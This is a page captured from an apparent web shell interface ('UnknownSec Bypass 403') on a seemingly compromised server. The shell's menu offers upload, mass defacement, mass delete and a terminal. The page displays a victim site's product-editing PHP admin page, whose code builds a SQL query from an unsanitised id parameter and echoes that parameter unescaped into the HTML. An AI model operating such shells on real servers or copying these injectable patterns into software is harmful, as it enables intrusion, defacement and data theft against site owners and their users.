UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
edit_product.php
<?php include "top.php"; if(isset($_GET['id'])) { $id = $_GET['id']; $sql = "select * from producttb where id='".$id."'"; $result = mysqli_query($conn,$sql); $data=mysqli_fetch_array($result); } ?> <script type="text/javascript"> $(document).ready(function (e){ $("#uploadForm").on('submit',(function(e){ e.preventDefault(); var flag = true; var inputField1 = document.getElementById("productname"); if (inputField1.value == "") { flag = false; alert("Please enter product name"); document.getElementById("productname").focus(); return false; } var inputField2 = document.getElementById("price"); if (inputField2.value == "") { flag = false; alert("Please enter product price"); document.getElementById("price").focus(); return false; } var inputField3 = document.getElementById("long_description"); if (inputField3.value == "") { flag = false; alert("Please enter product discription"); document.getElementById("long_description").focus(); return false; } var productname = document.getElementById("productname").value; var price = document.getElementById("price").value; var description = document.getElementById("long_description").value; var long_desc = document.getElementById("long_desc").value; try { if (flag == true) { var result = confirm("Do you want to update record?"); if (result == true) { $.ajax({ url: "update_product.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData:false, success: function(data){ if(data=="1"){ window.location.href="list_product.php"; }else if (data=="2") { alert("This product name is already exist."); } else { alert("There is a problem to save record."); } }, error: function(){} }); } } } catch (Error) { alert(Error); } return; })); }); </script> <script> function reset(){ alert("text"); } </script> <div id="page-wrapper" class="gray-bg dashbard-1"> <div class="content-main"> <!--banner--> <div class="banner"> <table width="100%"> <tr> <td width="50%"><b><label name="headingtitle" id="headingtitle">Add Product</label></b></td> <td width="50%" align="right"><a class="btn btn-default" href="list_product.php">Product List</a></td> </tr> </table> </div> <!--//banner--> <!--grid--> <div class="validation-system"> <div class="validation-form"> <!----> <form enctype="multipart/form-data" id="uploadForm"> <div class="vali-form"> <input type="hidden" id="hdid" name="hdid" value="<?php echo $_GET['id'];?>"> <div class="col-md-6 form-group1"> <label class="control-label">Product Name</label> <input type="text" name="productname" id="productname" placeholder="Product Name" value="<?php echo $data['productname'];?>" required=""/> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Price</label> <input type="text" name="price" id="price" placeholder="Price" value="<?php echo $data['price'];?>" required=""/> </div> <div class="clearfix"> </div> </div> <div class="col-md-12 form-group1 "> <label class="control-label">Product Description</label> <textarea id='short_description' name='short_description' hidden="hidden"></textarea> <textarea id='long_description' name='long_description' ><?php echo $data['description'];?></textarea> </div> <div class="clearfix"> </div> <br> <div class="col-md-12 form-group1 "> <label class="control-label">Product Specification</label> <textarea id='short_desc' name='short_desc' hidden="hidden"></textarea> <textarea id='long_desc' name='long_desc' ><?php echo $data['long_desc'];?></textarea> </div> <div class="clearfix"> </div> <br> <div class="col-md-12 form-group1 group-mail"> <label for="exampleInputFile">Product Image</label> <input type="file" id="new-image" name="new-image"> <br> <img src="product_images/<?php echo $data['image_name']; ?>" height="100px"> <input type="hidden" name="old_image" value="<?php echo $data['image_name']; ?>"> <p class="help-block">Max. Size 200kb (only .jpg, .jpeg, .png files allow)</p> </div> <div class="clearfix"> </div> <div class="col-md-12 form-group"> <input type="submit" class="btn btn-primary" id="btnopration" onclick="data();" value="Submit"/> <!--<input type="reset" class="btn btn-default" onclick="reset()" value="Reset"/>--> </div> <div class="clearfix"> </div> </form> <!----> </div> </div> <!--//grid--> <!-- Script --> <script type="text/javascript"> // Initialize CKEditor CKEDITOR.inline( 'short_description'); CKEDITOR.replace('long_description',{ width: "100%", height: "80px" }); // Initialize CKEditor CKEDITOR.inline( 'short_desc'); CKEDITOR.replace('long_desc',{ width: "100%", height: "200px" }); </script> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec